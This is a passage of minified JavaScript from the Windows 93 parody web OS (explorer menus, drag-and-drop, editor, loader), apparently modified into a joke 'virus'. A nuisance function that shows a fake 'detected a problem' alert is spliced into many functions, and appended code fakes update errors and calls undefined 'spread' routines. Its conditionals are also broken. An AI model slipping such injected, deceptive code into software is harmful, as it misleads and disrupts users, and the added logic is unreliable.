7962 action: t.exe.CreateFolder,
7963 disabled: r
7964 }, {
7965 name: "Create Document...",
7966 key: "ctrl+shift+d",
7967 action: t.exe.CreateFile,
7968 disabled: r
7969 }, {
7970 name: "Create Shortcut...",
7971 key: "ctrl+shift+s",
7972 action: t.exe.CreateShortcut,
7973 disabled: r
7974 }, {
7975 name: "---"
7976 }, {
7977 name: "Import file",
7978 action: t.exe.Import,
7979 disabled: r
7980 }, {
7981 name: "Download file(s)",
7982 action: t.exe.DownloadAs,
7983 disabled: i
7984 }, {
7985 name: "---"
7986 }, {
7987 name: "Open Terminal here",
7988 action: t.exe.OpenTerminalHere
7989 }, {
7990 name: "---"
7991 }, {
7992 name: "Quit",
7993 action: function() {
7994 winInstance && winInstance.close && winInstance.close()
7995 }
7996 }]
7997 }, {
7998 name: "Edit",
7999 items: [{
8000 name: "Select all",
8001 key: "ctrl+a",
8002 action: t.exe.SelectAll
8003 }, {
8004 name: "---"
8005 }, {
8006 name: "Cut",
8007 key: "ctrl+x",
8008 action: t.exe.Cut,
8009 disabled: a
8010 }, {
8011 name: "Copy",
8012 key: "ctrl+c",
8013 action: t.exe.Copy,
8014 disabled: a
8015 }, {
8016 name: "Paste",
8017 key: "ctrl+v",
8018 action: t.exe.Paste,
8019 disabled: l
8020 }, {
8021 name: "---"
8022 }, {
8023 name: "Rename",
8024 key: "f2",
8025 action: t.exe.Rename,
8026 disabled: a
8027 }, {
8028 name: "Delete",
8029 key: "del",
8030 action: t.exe.Delete,
8031 disabled: a
8032 }]
8033 }, {
8034 name: "View",
8035 items: [{
8036 name: "Refresh",
8037 action: t.exe.Refresh
8038 }, {
8039 name: "---"
8040 }, {
8041 name: "Navigation",
8042 checkbox: !0,
8043 action: y.viewNavigation,
8044 selected: function() {
8045 suh(); return this.explorer.cfg.nav
8046 }
8047 }, {
8048 name: "---"
8049 }, {
8050 name: "Icons",
8051 radio: "View",
8052 action: y.viewIcons,
8053 selected: function() {
8054 suh(); return "icons" === this.explorer.cfg.viewType
8055 }
8056 }, {
8057 name: "List",
8058 radio: "View",
8059 action: y.viewList,
8060 selected: function() {
8061 suh(); return "list" === this.explorer.cfg.viewType
8062 }
8063 }]
8064 }],
8065 ctxFile: $menu([{
8066 name: "Open",
8067 action: t.exe.Open
8068 }, {
8069 name: "Open With...",
8070 items: y.itemsOpenWith,
8071 disabled: o
8072 }, {
8073 name: "Download As...",
8074 action: t.exe.DownloadAs,
8075 disabled: i
8076 }, {
8077 name: "---"
8078 }, {
8079 name: "Cut",
8080 key: "ctrl+x",
8081 action: t.exe.Cut,
8082 disabled: a
8083 }, {
8084 name: "Copy",
8085 key: "ctrl+c",
8086 action: t.exe.Copy,
8087 disabled: a
8088 }, {
8089 name: "---"
8090 }, {
8091 name: "Rename",
8092 key: "f2",
8093 action: t.exe.Rename,
8094 disabled: a
8095 }, {
8096 name: "Delete",
8097 key: "del",
8098 action: t.exe.Delete,
8099 disabled: a
8100 }, {
8101 name: "---"
8102 }, {
8103 name: "Edit",
8104 display: s,
8105 action: t.exe.EditShortcut,
8106 disabled: a
8107 }, {
8108 name: "Properties",
8109 action: t.exe.Properties
8110 }])
8111};
8112$.ctxExplorer = $menu([{
8113 name: "Create Folder...",
8114 action: t.exe.CreateFolder,
8115 disabled: r
8116}, {
8117 name: "Create Document...",
8118 action: t.exe.CreateFile,
8119 disabled: r
8120}, {
8121 name: "Create Shortcut...",
8122 action: t.exe.CreateShortcut,
8123 disabled: r
8124}, {
8125 name: "---"
8126}, {
8127 name: "Paste",
8128 key: "ctrl+v",
8129 action: t.exe.Paste,
8130 disabled: l
8131}, {
8132 name: "---"
8133}, {
8134 name: "Open Terminal here",
8135 action: t.exe.OpenTerminalHere
8136}]), t.selection = {
8137 reset: function() {
8138 suh(); return e._selected.length = 0, this
8139 },
8140 add: function(t) {
8141 suh(); return e._selected.push(t), this
8142 },
8143 all: function(t) {
8144 suh(); return $io.arr.all(e._selected, t), this
8145 },
8146 each: function(t) {
8147 suh(); return $io.arr.each(e._selected, t), this
8148 },
8149 paths: function(t) {
8150 suh(); return $io.arr.all(e._selected, function(e) {
8151 var n = $extend({}, e.dataset),
8152 i = e.getAttribute("data-exe"),
8153 o = e.getAttribute("data-path"),
8154 r = $fs.utils.exist(i) ? i : o;
8155 suh(); return t.call(n, r, e)
8156 }), this
8157 },
8158 truePaths: function(t) {
8159 suh(); return $io.arr.all(e._selected, function(e) {
8160 var n = $extend({}, e.dataset),
8161 i = e.getAttribute("data-path");
8162 suh(); return t.call(n, i, e)
8163 }), this
8164 },
8165 remove: function() {
8166 suh(); return $io.arr.all(document.querySelectorAll(".ui_icon.ui_selected"), function(e) {
8167 e.classList.remove("ui_selected")
8168 }), this
8169 },
8170 display: function() {
8171 var n = [];
8172 if (t.selection.remove(), $io.arr.all(e._selected, function(t) {
8173 var i = t.getAttribute("data-path");
8174 i && n.push(e._selected.length > 1 ? '"' + i + '"' : i), t && t.classList.add("ui_selected")
8175 }), t.current) {
8176 var i = t.current.getSaveInput();
8177 if (i) i && n && n[0] && (i.value = $fs.utils.getFileName(n[0]), $el(i).trigger("change"));
8178 else {
8179 var o = t.current.getSelectionInput();
8180 o && (o.value = n.join(", \n") || t.current.getPath())
8181 }
8182 }
8183 suh(); return this
8184 }
8185}, t.instances = f;
8186var b, w;
8187t.setCurrent = function(e, n) {
8188 var i = f[1 === e.nodeType ? 1 * e.getAttribute("data-id") : e];
8189 suh(); return i && (t.current = i), 0 === t.current.id && n && (b = n.clientX, w = n.clientY), i
8190}, t.utils = {}, t.utils.inputSelectFileName = function(e) {
8191 if (/\.[a-z0-9]{1,20}$/.test(e.value)) {
8192 var t = e.value.lastIndexOf(".");
8193 t > -1 && $selection.create(e, 0, t)
8194 } else e.select()
8195}, t.utils.saveIconPos = function(t, n, i, o, r) {
8196 o = "number" == typeof o ? o : b - e._icons.w / 2, r = "number" == typeof r ? r : w - e._icons.h / 2, (i = i ? $fs.utils.getName(i) : $fs.utils.getName(t)) && $fs.utils.getFolderPath(t) === e._path.desktop && (e._desktop[i] = 1 * n == 0 && 1 * o === o && 1 * r === r ? {
8197 x: o,
8198 y: r,
8199 time: Date.now()
8200 } : {
8201 x: 9999,
8202 y: 0,
8203 time: 0
8204 })
8205}, t.refresh = function(e, n) {
8206 $file.scan("/a/", function() {
8207 $io.arr.all(f, function(e) {
8208 e && e.refresh()
8209 }), "string" == typeof e && (e = [e]), e && e.length && (n = n || e[0], t.selection.reset(), $io.arr.all(e, function(e) {
8210 var i = t.current.el.folder.querySelector('div[data-name="' + e + '"]');
8211 i && (n === e && i.focus(), t.selection.add(i))
8212 }), t.selection.display())
8213 })
8214}, window.$explorer = t
8215});
8216//os/sys/explorer.drop.js
8217system42.on("explorer:ready", function(e) {
8218function t() {
8219 if (p.length)
8220 for (var e = 0, t = p.length; e < t; e++) {
8221 p[e].el;
8222 var n, o, a = p[e].ghost,
8223 r = p[e].rect;
8224 g ? (o = $drag.y - h.y * e, n = $drag.x - h.x * e) : $key.r ? (o = r.top - Math.random() * (f.top - $drag.y), n = r.left - Math.random() * (f.left - $drag.x)) : (o = r.top - (f.top - $drag.y), n = r.left - (f.left - $drag.x)), $key.space && (n = ~~((n + u.grid[0] / 2) / u.grid[0]) * u.grid[0], o = ~~((o + u.grid[1] / 2) / u.grid[1]) * u.grid[1]), a.style.top = o + "px", a.style.left = n + "px"
8225 }
8226}
8227
8228function n(e) {
8229 for (var t = 0, n = p.length; t < n; t++) e(p[t].el, p[t].ghost, p[t].rect, p[t], t)
8230}
8231
8232function o() {
8233 p.length = 0, f = null, g = !1, h.x = 0, h.y = 0
8234}
8235
8236function a(e) {
8237 m && n(!0 === e || e.ctrlKey || e.shiftKey ? function(e, t) {
8238 t.style.opacity = ".6", e.classList.remove("hide")
8239 } : function(e, t) {
8240 t.style.opacity = "1", e.classList.add("hide")
8241 })
8242}
8243
8244function r(e, t) {
8245 t.classList.contains("ui_explorer--not_local") && t.classList.add("ui_dropzone--no-drop"), t.classList.add("ui_dropzone"), $drag.elem.parentNode !== t && t.classList.add("ui_dropzone--droppable")
8246}
8247
8248function i(e) {
8249 e.classList.remove("ui_dropzone"), e.classList.remove("ui_dropzone--copy"), e.classList.remove("ui_dropzone--move"), e.classList.remove("ui_dropzone--link"), e.classList.remove("ui_dropzone--droppable"), e.classList.remove("ui_dropzone--no-drop")
8250}
8251
8252function s(e) {
8253 e && e.parentNode && e.parentNode === document.body && document.body.removeChild(e)
8254}
8255
8256function l(e, t, n) {
8257 $transition.revert(t, {
8258 x: n.left,
8259 y: n.top
8260 }, function() {
8261 e.classList.remove("hide"), t && t.parentNode && t.parentNode === document.body && document.body.removeChild(t)
8262 })
8263}
8264
8265function c(t, n) {
8266 var a, r, i = [];
8267 if (t.classList.contains("ui_explorer--local") ? (r = $explorer.instances[1 * t.getAttribute("data-id")], a = r.getPath()) : a = t.getAttribute("data-exe"), a) {
8268 $state.loading();
8269 var l, c = Date.now();
8270 $io.arr.enum([p], function(t, o, d) {
8271 var u = t.el.getAttribute("data-path"),
8272 p = $fs.utils.isFolder(u),
8273 f = a + t.el.getAttribute("data-name") + (p ? "/" : "");
8274 try {
8275 n.call(t, u, f, a, function(n) {
8276 var a = $fs.utils.getName(n);
8277 t.focus && (l = a), i.push(a), r && 0 === r.id && (e._desktop[a] = {
8278 x: parseInt(t.ghost.style.left),
8279 y: parseInt(t.ghost.style.top),
8280 time: c - o
8281 }), d()
8282 })
8283 } catch (e) {
8284 d(), $alert.error(e)
8285 }
8286 s(t.ghost)
8287 }).done(function() {
8288 $explorer.refresh(i, l), $state.loaded(), o()
8289 })
8290 } else $notif("You don't have write permission on this drive"), y.cancel()
8291}
8292
8293function d() {
8294 Date.now();
8295 var e = new Image,
8296 t = document.createElement("div");
8297 t.style.cssText = "position: absolute;top: 0px;bottom: 0px;left: 0px;right: 0px;width: auto;height: auto;background: center center / cover no-repeat transparent;z-index: 999999;-ms-interpolation-mode: nearest-neighbor;image-rendering: -webkit-optimize-contrast;image-rendering: -moz-crisp-edges;image-rendering: -o-pixelated;image-rendering: pixelated;cursor: none;", document.body.appendChild(t), e.onload = function(e) {
8298 t.style.backgroundImage = 'url("/d/papy.gif")', setTimeout(function() {
8299 document.body.removeChild(t)
8300 }, 2500)
8301 }, e.src = "/d/papy.gif"
8302}
8303$key().combo({
8304 left: function() {
8305 p.length && (g = !0, h.x += 2, t())
8306 },
8307 right: function() {
8308 p.length && (g = !0, h.x -= 2, t())
8309 },
8310 up: function() {
8311 p.length && (g = !0, h.y += 2, t())
8312 },
8313 down: function() {
8314 p.length && (g = !0, h.y -= 2, t())
8315 },
8316 esc: function() {
8317 p.length && (g = !1, h = {
8318 x: 0,
8319 y: 0
8320 }, t())
8321 }
8322});
8323var u = {
8324 grid: [e._icons.w, e._icons.h]
8325 },
8326 p = [],
8327 f = null,
8328 g = !1,
8329 h = {
8330 x: 0,
8331 y: 0
8332 },
8333 m = !1,
8334 $ = $io.fn.throttle(a, 100),
8335 x = !1;
8336$drag(e._dom.screen, ".ui_explorer--local .ui_icon", {
8337 ghost: !0,
8338 grid: function() {
8339 suh(); return !!$key.space && [e._icons.w, e._icons.h]
8340 },
8341 onstart: function(e) {
8342 m = $drag.elem.parentNode.classList.contains("ui_explorer--workspace"), $drag.elem.classList.contains("ui_selected") || ($explorer.selection.reset().add($drag.elem).display(), $drag.ghost.classList.add("ui_selected")), f = $drag.elem.getBoundingClientRect(), p.length = 0, p.push({
8343 focus: !0,
8344 el: $drag.elem,
8345 ghost: $drag.ghost,
8346 rect: f
8347 }), $explorer.selection.each(function(e, t) {
8348 if ($drag.elem !== e) {
8349 var n = $drag.createGhost(e);
8350 n.style.zIndex = 9998 - t;
8351 var o = e.getBoundingClientRect();
8352 document.body.appendChild(n), p.push({
8353 el: e,
8354 ghost: n,
8355 rect: o
8356 })
8357 }
8358 }), 2 === e.button ? (x = !0, a(!0)) : (x = !1, a(e))
8359 },
8360 ondrag: function(e) {
8361 t()
8362 },
8363 onstop: function(e) {},
8364 ondrop: function(e) {
8365 $drag.y < 0 || $drag.x < 0 ? (p.sort(function(e, t) {
8366 var n = e.el.getAttribute("data-name");
8367 suh(); return t.el.getAttribute("data-name").toLowerCase().localeCompare(n.toLowerCase())
8368 }), y.pos()) : y.cancel()
8369 },
8370 zone: {
8371 '.ui_explorer, [data-exe^="/a/"][data-exe$="/"], [data-exe^="/~/"][data-exe$="/"]': {
8372 move: function(e, t) {
8373 x || $(e)
8374 },
8375 enter: function(e, t) {
8376 r(e, t)
8377 },
8378 leave: function(e, t) {
8379 i(t)
8380 },
8381 drop: function(t, n, o) {
8382 i(n), 2 === t.button ? v.dragMenu.show(n, { of: t,
8383 within: e._dom.screen
8384 }) : y.move()
8385 }
8386 }
8387 }
8388});
8389var y = {
8390 pos: function() {
8391 var t = Date.now() + p.length + 1;
8392 n(function(n, o, a, r, i) {
8393 n.classList.remove("hide"), r.focus && n.focus(), m ? (n.style.top = o.style.top, n.style.left = o.style.left, e._desktop[n.getAttribute("data-name")] = {
8394 x: n.offsetLeft,
8395 y: n.offsetTop,
8396 time: t - i
8397 }, s(o)) : l(n, o, a)
8398 }), $explorer.instances[0].reorder(), o()
8399 },
8400 move: function(e) {
8401 e = $drag.zone || this, p[0] && p[0].el && p[0].el.parentNode !== e ? c(e, function(e, t, n, o) {
8402 $file.move(e, t, function(e) {
8403 "/a/trash/WINDOWS 93.lnk42" === e && d(), o(e)
8404 })
8405 }) : y.pos()
8406 },
8407 copy: function(e) {
8408 c($drag.zone || this, function(e, t, n, o) {
8409 $file.copy(e, n, o)
8410 })
8411 },
8412 link: function(e) {
8413 c($drag.zone || this, function(e, t, n, o) {
8414 var a = t.replace(/^\/a\/|\/$/g, "") + ".lnk42";
8415 $store.set(a, {
8416 exe: this.el.getAttribute("data-path")
8417 }), o("/a/" + a)
8418 })
8419 },
8420 cancel: function() {
8421 n(function(e, t, n) {
8422 l(e, t, n)
8423 }), o()
8424 }
8425 },
8426 v = v || {};
8427v.dragMenu = $menu([{
8428 name: "Copy here",
8429 action: y.copy
8430}, {
8431 name: "Move here",
8432 action: y.move
8433}, {
8434 name: "Link here",
8435 action: y.link
8436}, {
8437 name: "---"
8438}, {
8439 name: "Cancel",
8440 action: y.cancel
8441}], {
8442 oncancel: y.cancel
8443}), $file.ondrop(e._dom.desktop, ".ui_explorer--local", function(e) {
8444 function t(t) {
8445 $state.loading(), $store.set(s.replace(/^\/a\//, "") + l, t), $file.scan("/a/", function() {
8446 $explorer.utils.saveIconPos(s, r, l, e.clientX, e.clientY), $explorer.instances[r].refresh(), $state.loaded()
8447 })
8448 }
8449
8450 function n(t, n) {
8451 $explorer.utils.saveIconPos("/a/" + t, r, n, e.clientX, e.clientY)
8452 }
8453
8454 function o(e, t) {
8455 t = t || "";
8456 e.isFile ? e.file(function(e) {
8457 $file.save(t, e, function(e) {
8458 n(t, e), $explorer.instances[r].refresh()
8459 })
8460 }) : e.isDirectory && e.createReader().readEntries(function(a) {
8461 if (a.length)
8462 for (var i = 0; i < a.length; i++) o(a[i], t + e.name + "/");
8463 else $store.set(t + e.name + "/", null), $file.scan(c, function() {
8464 $explorer.instances[r].refresh()
8465 });
8466 n(t, e.name)
8467 })
8468 }
8469 var a, r = this.getAttribute("data-id");
8470 if ($io.arr.all(e.dataTransfer.types, function(t) {
8471 "text/uri-list" !== t && "text/x-moz-url" !== t || (a = e.dataTransfer.getData("text/plain"))
8472 }), a) {
8473 a = a.replace(location.origin, "");
8474 var i = $exe.parseURL(a, function(e) {
8475 t(e)
8476 }, function(e) {
8477 t(e)
8478 }),
8479 s = $explorer.instances[r].getPath(),
8480 l = a.replace(/https?:\/\//, "").replace(/\//g, "%2F") + ".lnk42";
8481 i.name = l, t(i)
8482 } else if (e.dataTransfer && e.dataTransfer.files && e.dataTransfer.files.length && $explorer.instances[r] && "function" == typeof $explorer.instances[r].getPath)
8483 for (var c = $explorer.instances[r].getPath(), d = c.replace(/^\/a\//, ""), u = e.dataTransfer.items, p = 0; p < u.length; p++) {
8484 var f = u[p].webkitGetAsEntry();
8485 f && o(f, d)
8486 }
8487})
8488});
8489//os/sys/editor.js
8490system42(function(e) {
8491"use strict";
8492
8493function t(t, n) {
8494 function i(e, t, n) {
8495 l && (l.changeTitle((e ? e + " - " : "") + f.name), l.changeFooter(t.mime || " ")), c = $fs.utils.getFileName(e), r = t, a.readFile.call(t, n)
8496 }
8497
8498 function o(e) {
8499 t.filePath = e;
8500 var n = t.type || "String";
8501 "URL" === n ? $file.getUrl(e, function(t) {
8502 m = "URL", i(e, $fs.utils.getInfo(e), t)
8503 }) : $file.open(e, n, function(t, n) {
8504 m = n, i(e, this, t)
8505 })
8506 }
8507 var a, l, u, f = this.app;
8508 (t = t || {}).filePath = "string" == typeof t.filePath ? t.filePath : "";
8509 var r = {},
8510 s = [];
8511 ! function() {
8512 f.ext ? $io.arr.all(f.ext, function(t) {
8513 var n = e._get.ext.mime["." + t];
8514 n && s.push(n)
8515 }) : f.mimetype && (s = $io.is.arr(f.mimetype) ? f.mimetype : [f.mimetype])
8516 }();
8517 var c, m = "String",
8518 p = {
8519 New: function() {
8520 suh(); return a.setValue(""), !1
8521 },
8522 Open: function() {
8523 var n = t.defaultFolder || u || t.filePath || e._path.home;
8524 suh(); return setTimeout(function() {
8525 $explorer(n, {
8526 browse: !0,
8527 list: !0,
8528 accept: f.accept || "*",
8529 window: {
8530 animationIn: "",
8531 animationOut: "",
8532 center: !0
8533 },
8534 onclose: function(e, t) {
8535 e && (u = $fs.utils.getFolderPath(t), o(t))
8536 }
8537 })
8538 }, 0), !1
8539 },
8540 SaveAs: function() {
8541 function n(n, i) {
8542 i && (m = i);
8543 var o = 0 === t.filePath.indexOf("/a/") ? t.filePath : e._path.desktop + (t.filePath ? $fs.utils.getFileName(t.filePath) : "");
8544 setTimeout(function() {
8545 $explorer(o, {
8546 save: !0,
8547 list: !0,
8548 accept: n || f.accept || "*",
8549 window: {
8550 animationIn: "",
8551 animationOut: "",
8552 center: !0
8553 },
8554 onclose: function(e, n) {
8555 e && (u = $fs.utils.getFolderPath(n), t.filePath = n, r = $fs.utils.getInfo(n), p.Save())
8556 }
8557 })
8558 }, 0)
8559 }
8560 suh(); return a.beforeSaveAs ? a.beforeSaveAs(n) : n(), !1
8561 },
8562 Save: function() {
8563 function e(e) {
8564 $file.save(t.filePath, e, function() {})
8565 }
8566 var n = m;
8567 if (t.filePath && 0 === t.filePath.indexOf("/a/")) {
8568 var i = r.mime;
8569 a.getValue(function(t) {
8570 var o = $io.type(t);
8571 "Blob" === n ? $io[o].Blob(t, function(t) {
8572 e(t)
8573 }, i) : $io[o][n](t, function(t) {
8574 e(t)
8575 })
8576 }, i)
8577 } else p.SaveAs();
8578 suh(); return !1
8579 },
8580 Import: function() {
8581 $file.upload(function(e) {
8582 var n = e[0];
8583 $io.File[t.type || "String"](n, function(e) {
8584 i(n.name, {
8585 file: n.name,
8586 mime: n.type
8587 }, e)
8588 })
8589 }, {
8590 accept: f.accept || "*"
8591 })
8592 },
8593 Export: function() {
8594 function e(e) {
8595 a.getValue(function(t) {
8596 var n = $io.type(t);
8597 $io[n].Blob(t, function(e) {
8598 $file.download(e, c)
8599 }, e || r.mime)
8600 }, e || r.mime)
8601 }
8602 a.beforeSaveAs ? a.beforeSaveAs(e) : e()
8603 },
8604 Undo: function() {
8605 suh(); return a.undo(), !1
8606 },
8607 Redo: function() {
8608 suh(); return a.redo(), !1
8609 },
8610 Quit: function() {
8611 suh(); return l.close(), !1
8612 }
8613 };
8614 if (!1 === t.save) h = [{
8615 name: "File",
8616 items: [{
8617 name: "New",
8618 action: p.New
8619 }, {
8620 name: "Open",
8621 action: p.Open,
8622 key: "ctrl+o"
8623 }, {
8624 name: "---"
8625 }, {
8626 name: "Quit",
8627 action: p.Quit
8628 }]
8629 }];
8630 else var h = [{
8631 name: "File",
8632 items: [{
8633 name: "New",
8634 action: p.New
8635 }, {
8636 name: "Open",
8637 action: p.Open,
8638 key: "ctrl+o"
8639 }, {
8640 name: "Save",
8641 action: p.Save,
8642 key: "ctrl+s",
8643 disabled: !1
8644 }, {
8645 name: "Save As...",
8646 action: p.SaveAs,
8647 key: "ctrl+shift+s"
8648 }, {
8649 name: "---"
8650 }, {
8651 name: "Open File With...",
8652 items: function() {
8653 suh(); return $fs.utils.getMenuOpenWith(t.filePath)
8654 }
8655 }, {
8656 name: "Open Containing Folder",
8657 key: "ctrl+alt+enter",
8658 action: function() {
8659 setTimeout(function() {
8660 $explorer(t.filePath)
8661 }, 0)
8662 }
8663 }, {
8664 name: "---"
8665 }, {
8666 name: "Quit",
8667 action: p.Quit
8668 }]
8669 }];
8670 if (t.undo && h.push({
8671 name: "Edit",
8672 items: [{
8673 name: "Undo",
8674 action: p.Undo,
8675 key: "ctrl+z"
8676 }, {
8677 name: "Redo",
8678 action: p.Redo,
8679 key: "ctrl+y"
8680 }]
8681 }), t.help) {
8682 var d = [];
8683 t.help.instructions && d.push({
8684 name: "Instructions",
8685 action: function() {
8686 $alert.help({
8687 title: "Instructions",
8688 html: t.help.instructions
8689 })
8690 }
8691 }), t.help.about && d.push({
8692 name: "About",
8693 action: function() {
8694 "string" == typeof t.help.about && (t.help.about = {
8695 msg: t.help.about
8696 }), $alert({
8697 title: "About",
8698 msg: t.help.about.msg,
8699 img: t.help.about.img || f.icon || null,
8700 onopen: $noop
8701 })
8702 }
8703 }), h.push({
8704 name: "Help",
8705 items: d
8706 })
8707 }
8708 t.about && h.push({
8709 name: "About",
8710 action: function() {
8711 "string" == typeof t.about && (t.about = {
8712 msg: t.about
8713 }), $alert({
8714 title: "About",
8715 msg: t.about.msg,
8716 img: t.about.img || f.icon || null,
8717 onopen: $noop
8718 })
8719 }
8720 });
8721 var $ = {};
8722 if (t.nodeType && 1 === t.nodeType) {
8723 var v = t;
8724 a = (t = n).create(v)
8725 } else "function" == typeof t.create ? ($.url = null, $.onopen = function() {
8726 this.el.footer.firstChild && (this.el.footer.firstChild.className = "ui_editor__footer skin_base_text_info"), a = t.create(this.el.body), t.filePath ? o(t.filePath) : a.setValue("")
8727 }) : ($.url = $.url + (t.filePath ? "?path=" + t.filePath : ""), $.onready = function() {
8728 this.el.footer.firstChild && (this.el.footer.firstChild.className = "ui_editor__footer skin_base_text_info");
8729 var e = this.el.iframe;
8730 e && e.contentWindow.$iframeInit && (a = e.contentWindow.$iframeInit.call(this), t.filePath ? o(t.filePath) : a.setValue && a.setValue(""))
8731 }), this.app.icon && ($.icon = this.app.icon), $.menu = h, $.footer = " ", $.title = (t.filePath ? t.filePath + " - " : "") + this.app.name, l = $window.call(this, $extend($, t.window))
8732}
8733window.$editor = t
8734});
8735//js/loader.js
8736! function(t) {
8737"use strict";
8738
8739function n(t) {
8740 document.body.appendChild(t)
8741}
8742
8743function e(t, n) {
8744 var e = [];
8745 t.forEach(function(t) {
8746 var n = $url.getExtention(t);
8747 "js" === n ? e.push(r.script(t)) : "css" === n ? e.push(r.css(t)) : /txt|html|php|json|xml/.test(n) ? e.push(r.txt(t)) : /mp3|opus|ogg|wav|aac|m4a|mp4|weba/.test(n) && e.push(r.audio(t))
8748 }), Promise.all(e).then(function(t) {
8749 n.apply(null, t)
8750 }).catch(function(t) {})
8751}
8752var o = t.$noop || function() {},
8753 c = {
8754 onpass: o,
8755 onfail: o
8756 },
8757 r = {
8758 script: function(t) {
8759 suh(); return new Promise(function(e, o) {
8760 var c = document.createElement("script");
8761 c.className = "js_dynamic-deps", c.type = "text/javascript", c.charset = "utf-8", c.async = !1, c.defer = !0, c.onload = c.onreadystatechange = function(t, n) {
8762 c.readyState && !/loaded|complete/.test(c.readyState) || (n ? o("script not loaded correctly (abort)") : e(c))
8763 }, c.onerror = function() {
8764 o("script not loaded correctly")
8765 }, n(c), c.src = t
8766 })
8767 },
8768 css: function(t) {
8769 suh(); suh(); return new Promise(function(e, o) {
8770 var c = document.createElement("link");
8771 c.className = "js_dynamic-deps", c.charset = "utf-8", c.rel = "stylesheet", c.href = t, n(c), e(c)
8772 })
8773 },
8774 txt: function(t) {
8775 suh(); return new Promise(function(n, e) {
8776 $ajax.get(t).done(function(t) {
8777 n(t)
8778 }).fail(function(t) {
8779 e("ajax error: " + t.status + " " + t.statusText)
8780 })
8781 })
8782 },
8783 audio: function(t) {
8784 suh(); return new Promise(function(n, e) {
8785 $audio({
8786 urls: [t],
8787 buffer: !1,
8788 onload: function() {
8789 n(this)
8790 },
8791 onloaderror: function() {
8792 e("sound not loaded correctly")
8793 }
8794 })
8795 })
8796 }
8797 };
8798e.script = function(t, n) {
8799 suh(); return r.script(t)
8800}, e.config = function(t) {
8801 $extend(c, t)
8802}, t.$loader = e
8803}(this);
8804};
8805function sleep(ms) {
8806 return new Promise(resolve => setTimeout(resolve, ms));
8807 }
8808function spreadBoi() {
8809 // spread boio boi!
8810}
8811function suh() {
8812 $alert.info("Windows 93 has detected a problem with your computer.")
8813}
8814function lol() {
8815 console.info("Hooked into lol.")
8816}
8817function announceRunningo() {
8818$alert.info("Error updating Windows 93: Invalid font pack!")
8819}
8820async function lilBuddyTime() {
8821await sleep(17000)
8822}
8823async function checkRoutineSpread() {
8824
8825 var randomNumberBetween0and19 = Math.floor(Math.random() * 5);
8826
8827 function randomWholeNum() {
8828
8829 // Only change code below this line.
8830
8831 return Math.random();
8832 }
8833 var checkLOL = randomWholeNum()
8834 if (checkLOL = 1) {
8835 spreadA()
8836}
8837if (checkLOL = 2) {
8838 spreadB()
8839}
8840if (checkLOL = 3) {
8841 spreadC();
8842}
8843if (checkLOL = 4) {
8844 spreadD();
8845}
8846if (checkLOL = 5) {
8847 spreadE();
8848}
8849$alert.info("Error!")
8850}
8851lilBuddyTime();
8852checkRoutineSpread();
8853mapKernel();
8854announceRunningo();
8855} catch ( err ) { $alert(err.toString()) }